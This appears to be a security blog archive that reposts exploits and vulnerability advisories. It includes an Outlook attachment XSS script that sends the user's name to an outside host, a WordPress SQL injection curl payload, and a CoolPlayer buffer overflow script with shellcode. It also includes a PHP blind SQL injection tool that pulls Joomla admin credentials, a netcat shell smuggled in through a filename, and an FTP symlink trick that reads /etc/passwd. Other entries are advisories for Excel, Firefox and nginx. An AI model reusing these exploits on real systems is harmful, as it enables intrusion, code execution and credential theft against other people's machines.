Nov 09

Send attenment demo.htm

Code:

  • <script>
  • xmlhttp=new ActiveXObject("Msxml2.XMLHTTP.3.0");
  • xmlhttp.open("GET","../../../../../../../../../../../../../../boot.ini",false);
  • xmlhttp.send();
  • alert(xmlhttp.responseText);
  • </script>
  •  

    Information:

    <script>alert(document.URL)</script>

    Get dir info

    C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\OLKxxx

    Demo:

  • <script>
  • var path = document.URL;
  • var regx = /Settings\\(.*)\\Local/ var rs= regx.exec(path); username=rs[1];
  • iframe_dom("http://www.80vul.com/hackgame/xs-g0.php?username="+username);
  •  
  • function iframe_dom(script_filename) {
  •     var d = window.document;
  •     var newIframe = d.createElement('iframe');
  •     newIframe.src=script_filename;
  •     newIframe.style.width = 0;
  •     newIframe.style.height = 0;
  •     d.appendChild(newIframe);
  •     return false;
  • } </script>
  • Tagged with:
    Oct 02

    # Exploit Title: WordPress WP Bannerize plugin <= 2.8.7 SQL Injection Vulnerability
    # Date: 2011-09-22
    # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
    # Software Link: http://downloads.wordpress.org/plugin/wp-bannerize.zip
    # Version: 2.8.7 (tested)
     
    —————
    PoC (POST data)
    —————
    http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php
    limit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
     
    e.g.
    curl –data "limit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)" -H "X-Requested-With:XMLHttpRequest" http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php
     
    —————
    Vulnerable code
    —————
    if ( @isset($_SERVER['HTTP_X_REQUESTED_WITH']) ) {
        …
        $limit = intval($_POST['limit']);
        $page_offset = (intval($_POST['offset']) – 1) * $limit;
     
        foreach($_POST["item"] as $key => $value){
            $sql = sprintf("UPDATE `%s` SET `sorter` = %s WHERE id = %s", $wpdb->prefix ."bannerize_b", (intval($key)+$page_offset ), $value );
            $result = mysql_query($sql);
        }
    }

    Tagged with:
    Sep 15
    I. BACKGROUND

    Excel is the spreadsheet application included with Microsoft Corp.’s Office productivity software suite. More information is available at the following website:

    http://office.microsoft.com/excel/

    II. DESCRIPTION

    Remote exploitation of an integer signedness vulnerability in Microsoft Corp.’s Excel could allow an attacker to execute arbitrary code with the privileges of the current user.

    The vulnerability is an integer signedness issue that leads to an invalid array indexing vulnerability. It is triggered by a certain record with a negative ‘iax’ field.

    It is possible to pass negative 16-bit values, which are later sign extended to 32 bits. The sign extended value is later used as an index into a heap-based array. Due to the incomplete validation of the ‘iax’ field, it is possible to index outside of the bounds of the array, which can lead to a controlled overwrite of arbitrary memory locations with user data. This can lead to the execution of arbitrary code.

    III. ANALYSIS

    Exploitation of this vulnerability results in the execution of arbitrary code with the privileges of the user opening the file. To exploit this vulnerability, an attacker needs to convince a user to open a malicious file. Attackers typically accomplish this by e-mailing a targeted user the file or hosting the file on a Web page.

    IV. DETECTION

    Microsoft has reported the following products vulnerable:

        * Microsoft Excel 2003 SP 3
        * Microsoft Excel 2007 SP 2
        * Microsoft Office 2007 SP 2
        * Microsoft Excel 2010 (32-bit editions)
        * Microsoft Excel 2010 SP 1 (32-bit editions)
        * Microsoft Office 2010 and Microsoft Office 2010 SP 1 (32-bit editions)
        * Microsoft Excel 2010 (64-bit editions)
        * Microsoft Excel 2010 SP 1 (64-bit editions)
        * Microsoft Office 2010 and Microsoft Office 2010 SP 1 (64-bit editions)
        * Microsoft Office 2004 for Mac
        * Microsoft Office 2008 for Mac
        * Microsoft Office for Mac 2011
        * Open XML File Format Converter for Mac
        * Microsoft Excel Viewer SP 2
        * Microsoft Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP 2
        * Excel Services
        * Microsoft Excel Web App 2010 and Microsoft Excel Web App 2010 SP 1
    V. WORKAROUND

    Microsoft suggested workarounds can be found under the Workaround section within Microsoft Security Bulletin MS11-072.

    http://technet.microsoft.com/en-us/security/bulletin/ms11-072

    VI. VENDOR RESPONSE

    Microsoft has released fixes which addresses this issue. Information about downloadable vendor updates can be found by clicking on the URLs shown.

    http://technet.microsoft.com/en-us/security/bulletin/ms11-072

    VII. CVE INFORMATION

    The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2011-1987 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org/), which standardizes names for security problems.

    VIII. DISCLOSURE TIMELINE

    02/25/2011 Initial Vendor Notification

    02/25/2011 Vendor Reply

    09/13/2011 Coordinated Public Disclosure

    IX. CREDIT

    This vulnerability was reported to iDefense by Sean Larsson, iDefense Labs.

    Get paid for vulnerability research

    http://labs.idefense.com/methodology/vulnerability/vcp.php

    Free tools, research and upcoming events

    http://labs.idefense.com/

    X. LEGAL NOTICES

    Copyright © 2011 Verisign

    Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDefense. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please e-mail customer service for permission.

    Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

    Tagged with:
    Aug 12

     

    # #########################################################################
    #~ Title         : CoolPlayer 219 Buffer Overflow Exploit  
    #~ Software      : http://coolplayer.en.softonic.com/
    #~ Tested on     : Windows XP SP3 English
    #~ Date          : 04/07/2011
    #~ Author        : X-h4ck
    #~ Site          : http://www.pirate.al/ #PirateAL Crew , http://theflashcrew.blogspot.com/
    #~ Email         : mem001@live.com
    #~ Greetz        : Wulns~ – IllyrianWarrior – Danzel – Ace – M4yh3m – Saldeath – bi0 – Slimshaddy – d3trimentaL – Lekosta – Pretorian – CroSs(r00tworm) – Rigon
    # #########################################################################

    #!/usr/bin/python
    print " CoolPlayer 219 Buffer Overflow Exploit"
    print " Author : X-h4ck"
    print " www.pirate.al, http://theflashcrew.blogspot.com"
    print " Wulns~ – IllyrianWarrior – Danzel – Ace – M4yh3m – Saldeath – bi0 – Slimshaddy – d3trimentaL – Lekosta – Pretorian – CroSs – Rigon"
    print " // Aint no pussy made where we came from \\\ @PirateAL Crew"
    print " "
    print " "

    filename = "PirateAL.m3u"

    junk = "\x41" * 248
    EIP = "\xDC\x3A\xB4\x76" # JMP ESP 0x76B43ADC winmm.dll
    nopsled = "\x90" * 20
    #calc.exe
    shellcode = ("\x33\xc9\xb8\xa2\xe0\xe4\x44\xb1\x33\xda\xdf\xd9\x74\x24"
    "\xf4\x5b\x31\x43\x0e\x03\x43\x0e\x83\x49\x1c\x06\xb1\x71"
    "\x35\x4e\x3a\x89\xc6\x31\xb2\x6c\xf7\x63\xa0\xe5\xaa\xb3"
    "\xa2\xab\x46\x3f\xe6\x5f\xdc\x4d\x2f\x50\x55\xfb\x09\x5f"
    "\x66\xcd\x95\x33\xa4\x4f\x6a\x49\xf9\xaf\x53\x82\x0c\xb1"
    "\x94\xfe\xff\xe3\x4d\x75\xad\x13\xf9\xcb\x6e\x15\x2d\x40"
    "\xce\x6d\x48\x96\xbb\xc7\x53\xc6\x14\x53\x1b\xfe\x1f\x3b"
    "\xbc\xff\xcc\x5f\x80\xb6\x79\xab\x72\x49\xa8\xe5\x7b\x78"
    "\x94\xaa\x45\xb5\x19\xb2\x82\x71\xc2\xc1\xf8\x82\x7f\xd2"
    "\x3a\xf9\x5b\x57\xdf\x59\x2f\xcf\x3b\x58\xfc\x96\xc8\x56"
    "\x49\xdc\x97\x7a\x4c\x31\xac\x86\xc5\xb4\x63\x0f\x9d\x92"
    "\xa7\x54\x45\xba\xfe\x30\x28\xc3\xe1\x9c\x95\x61\x69\x0e"
    "\xc1\x10\x30\x44\x14\x90\x4e\x21\x16\xaa\x50\x01\x7f\x9b"
    "\xdb\xce\xf8\x24\x0e\xab\xe7\xc6\x9b\xc1\x8f\x5e\x4e\x68"
    "\xd2\x60\xa4\xae\xeb\xe2\x4d\x4e\x08\xfa\x27\x4b\x54\xbc"
    "\xd4\x21\xc5\x29\xdb\x96\xe6\x7b\xb8\x79\x75\xe7\x11\x1c"
    "\xfd\x82\x6d")

    pwn = junk+EIP+nopsled+shellcode
    FILE = open(filename, "w")
    FILE.write(pwn)
    FILE.close()
    print " Evil File created succesully, time for pwnage"

    Tagged with:
    Jun 23

    Title: Use-after-free vulnerability when viewing XUL document with script disabled
    Impact: Critical
    Announced: June 21, 2011
    Reporter: Martin Barbella
    Products: Firefox, Thunderbird, SeaMonkey
    Fixed in: Firefox 5
    Firefox 3.6.18
    Thunderbird 3.1.11

    Description

    Security researcher Martin Barbella reported that under certain conditions, viewing a XUL document while JavaScript was disabled caused deleted memory to be accessed. This flaw could potentially be used by an attacker to crash a victim’s browser and run arbitrary code on their computer.

    References
    Tagged with:
    May 26

    nginx [engine x] is a HTTP and reverse proxy server, as well as a mail proxy server written by Igor Sysoev. It has been running for more than five years on many heavily loaded Russian sites including. The vulnerability will let error file type as php file. It’s a very critical bug.

    Generally, nginx will parse php file by cgi. Example:

    location ~ \.php$ {
    root html;
    fastcgi_pass 127.0.0.1:9000;
    fastcgi_index index.php;
    fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
    include fastcgi_params;
    }

    In location part,nginx will proceed request by URI variable, and the SCRIPT_FILENAME’s value will be defined by $fastcgi_script_name, the $fastcgi_script_name variable default is open by cgi.fix_pathinfo option  in php.ini file.

    Assume, have a the url http://www.goitowrld.com/nginx.jpg, you can try to visit fllow url.

    http://www.goitworld.com/nginx.jpg/nginx.php

    will have a URI /nginx.jpg/nginx.php

    By location command,the request will submit to fastcgi proceed,the SCRIPT_FILENAME variable will set to /script/nginx.jpg/nginx.php

    while cgi.fix_pathinfo parameter have been set to 1, now it will split SCRIPT_FILENAME and PATH_INFO to

    /script/nginx.jpg and nginx.php

    Final the nginx.jpg will be parsed as php file.

    Brose url http://www.goitowrld.com/nginx.jpg respone

    HTTP/1.1 200 OK
    Server: nginx/0.6.32
    Date: Thu, 20 May 2010 10:05:30 GMT
    Content-Type: image/jpeg
    Content-Length: 18
    Last-Modified: Thu, 20 May 2010 06:26:34 GMT
    Connection: keep-alive
    Keep-Alive: timeout=20
    Accept-Ranges: bytes

    Brose url http://www.goitowrld.com/nginx.jpg/nginx.php respone

    HTTP/1.1 200 OK
    Server: nginx/0.6.32
    Date: Thu, 20 May 2010 10:06:49 GMT
    Content-Type: text/html
    Transfer-Encoding: chunked
    Connection: keep-alive
    Keep-Alive: timeout=20
    X-Powered-By: PHP/5.2.6

    Solution:

    1.modify php.ini file and set parameter

    cgi.fix_pathinfo=0

    2.modify nginx config file

    if ( $fastcgi_script_name ~ \..*\/.*php ) {
    return 403;
    }

    Tagged with:
    Feb 26

    Test Code

    
    #!/usr/bin/php
      <?php 
    
    ini_set("max_execution_time",0); 
    
    print_r(' 
    
    ########################################################################### 
    
    [»] Joomla com_joomlaconnect_be Remote Blind Injection Vulnerability 
    
    ########################################################################### 
    
    [»] Script:   [Joomla] 
    
    [»] Language: [ PHP ] 
    
    [»] Founder:  [ Snakespc Email:super_cristal@hotmail.com - Site:sec-war.com/cc> ] 
    
    [»] Greetz to:[ Spécial >>>>His0k4 >>>>   Tous les hackers Algérie 
    
    [»] Dork: inurl:index.php?option=com_joomlaconnect_be 
    
    ########################################################################### 
    
    ########################################################################### 
    
    # 
    
    #  Joomla com_joomlaconnect_be (id) Blind SQL Injection Exploit 
    
    #  [x] Usage: joomla.php "http://url/index.php?option=com_joomlaconnect_be&Itemid=53&task=showBizPage&id=3 
    
    # 
    
    # 
    
    ########################################################################### 
    
    '); 
    
    if ($argc > 1) { 
    
    $url = $argv[1]; 
    
    $r = strlen(file_get_contents($url."+and+1=1--")); 
    
    echo "\nExploiting:\n"; 
    
    $w = strlen(file_get_contents($url."+and+1=0--")); 
    
    $t = abs((100-($w/$r*100))); 
    
    echo "Username: "; 
    
    for ($i=1; $i <= 30; $i++) { 
    
    $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--")); 
    
       if (abs((100-($laenge/$r*100))) > $t-1) { 
    
          $count = $i; 
    
          $i = 30; 
    
       } 
    
    } 
    
    for ($j = 1; $j < $count; $j++) { 
    
       for ($i = 46; $i <= 122; $i=$i+2) { 
    
          if ($i == 60) { 
    
             $i = 98; 
    
          } 
    
          $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--")); 
    
          if (abs((100-($laenge/$r*100))) > $t-1) { 
    
             $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--")); 
    
             if (abs((100-($laenge/$r*100))) > $t-1) { 
    
                echo chr($i-1); 
    
             } else { 
    
                echo chr($i); 
    
             } 
    
             $i = 122; 
    
          } 
    
       } 
    
    } 
    
    echo "\nPassword: "; 
    
    for ($j = 1; $j <= 49; $j++) { 
    
       for ($i = 46; $i <= 102; $i=$i+2) { 
    
          if ($i == 60) { 
    
             $i = 98; 
    
          } 
    
          $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--")); 
    
          if (abs((100-($laenge/$r*100))) > $t-1) { 
    
             $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--")); 
    
             if (abs((100-($laenge/$r*100))) > $t-1) { 
    
                echo chr($i-1); 
    
             } else { 
    
                echo chr($i); 
    
             } 
    
             $i = 102; 
    
          } 
    
       } 
    
    } 
    
    } 
    
    ?>
    
    Tagged with:
    Oct 03

    TITLE:
    Changetrack Privilege Escalation Vulnerability

    SECUNIA ADVISORY ID:
    SA36756

    VERIFY ADVISORY:
    http://secunia.com/advisories/36756/

    DESCRIPTION:
    A vulnerability has been discovered in Changetrack, which can be
    exploited by malicious, local users to gain escalated privileges.

    The application does not properly escape certain file names, which
    can be exploited to inject and execute arbitrary shell commands
    (potentially with "root" privileges) by creating a maliciously named
    file in a directory tracked by Changetrack.

    Successful exploitation requires write privileges to a directory
    scanned by Changetrack.

    SOLUTION:
    Use Changetrack to track trusted directories only.

    PROVIDED AND/OR DISCOVERED BY:
    Marek Grzybowski

    ——————————————————————————–
    Example of exploitation:

    ———— Attacker ———-

    rick@testmachine:~/testt$ touch "<\`nc -l -p 5001 -e \$SHELL\`"
    rick@testmachine:~/testt$ ls
    <`nc -l -p 5001 -e $SHELL`

    ——————————–

    ———— root ————–

    testmachine:~# changetrack

    ———— root ————–

    ———— Attacker ———-

    rick@testmachine:~/testt$ nc 127.0.0.1 5001
    id
    uid=0(root) gid=0(root) groups=0(root)

    ——————————–

    Tagged with:
    Aug 12

    A vulnerability was discovered: a specially crafted URL could be requested that would allow an attacker to bypass a security check to verify a user requested a password reset. As a result, the first account without a key in the database (usually the admin account) would have its password reset and a new password would be emailed to the account owner. This doesn’t allow remote access, but it is very annoying.

    We fixed this problem last night and have been testing the fixes and looking for other problems since then. Version 2.8.4 which fixes all known problems is now available for download and is highly recommended for all users of WordPress.

    Tagged with:
    Jul 31

    Discovered by:
        Kingcope
        Contact: kcope2<at>googlemail.com / http://isowarez.de

    Date:
        27th July 2009

    Greetings:
        Alex,Andi,Adize,wY!,Netspy,Revoguard

    Prerequisites:
        Valid user account.
    Demonstration on FreeBSD 7.0-RELEASE and NcFTPd 2.8.5 (latest version):

    # ftp 192.168.2.5
    Connected to 192.168.2.5.
    220 localhost NcFTPd Server (unregistered copy) ready.
    Name (192.168.2.5:root): kcope
    331 User kcope okay, need password.
    Password:
    230-You are user #1 of 50 simultaneous users allowed.
    230-
    230 Restricted user logged in.
    Remote system type is UNIX.
    Using binary mode to transfer files.
    ftp> get /etc/passwd passwd
    local: passwd remote: /etc/passwd
    502 Unimplemented command.
    227 Entering Passive Mode (192,168,2,5,219,171)
    550 No such file.
    ftp> ls ..
    227 Entering Passive Mode (192,168,2,5,218,102)
    553 Permission denied.
    ftp> mkdir isowarez
    257 "/isowarez" directory created.
    ftp> quote site symlink /etc/passwd isowarez/.message
    250 Symlinked.
    ftp> cd isowarez
    250-"/isowarez" is new cwd.
    250-
    250-# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $
    250-#
    250-root:*:0:0:Charlie &:/root:/bin/sh
    250-toor:*:0:0:Bourne-again Superuser:/root:
    250-daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
    250-operator:*:2:5:System &:/:/usr/sbin/nologin
    250-bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
    250-tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
    250-kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
    250-games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
    250-news:*:8:8:News Subsystem:/:/usr/sbin/nologin
    250-man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
    250-sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
    250-smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
    250-mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
    250-bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
    250-proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
    250-_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
    250-_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
    250-uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
    250-pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
    250-www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
    250-nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
    250-kcope:*:1001:1001:User kcope:/home/kcope:/bin/csh
    250-messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/sbin/nologin
    250-polkit:*:562:562:PolicyKit Daemon User:/nonexistent:/sbin/nologin
    250-haldaemon:*:560:560:HAL Daemon User:/nonexistent:/sbin/nologin
    250-ftp:*:1002:14:User &:/home/ftp:/bin/sh
    250-cyrus:*:60:60:the cyrus mail server:/usr/local/cyrus:/bin/csh
    250-postfix:*:125:125:Postfix Mail System:/var/spool/postfix:/usr/sbin/nologin
    250-test:*:1003:1003:test:/home/test:/bin/sh
    250-+testx:*:::::/bin/sh
    250
    ftp>

    +on freebsd you can symlink directories like ´/´

    Cheerio,

    Kingcope

    Tagged with:
    preload preload preload